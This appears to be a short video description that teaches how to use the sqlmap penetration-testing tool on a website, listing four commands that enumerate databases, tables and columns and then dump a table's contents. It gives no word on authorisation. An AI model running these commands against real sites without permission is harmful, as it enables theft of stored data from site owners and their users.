In this video I will show you step-by-step how to Check SQL Injection in Website using Sqlmap.
What Is Sqlmap:
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Steps:
1. sqlmap -u URL/pagename --dbs
Get's Lists Databases on SQL Server.
2. sqlmap -u URL/pagename --tables -D Databasename
Get's Tables in the Database you pick.
3. sqlmap -u URL/pagename --columns -D Databasename -T Tablename
Get's Columns in the Table you pick.
4. sqlmap -u URL/pagename --dump -D Databasename -T Tablename
Extracts the Database information inside the Table you pick.
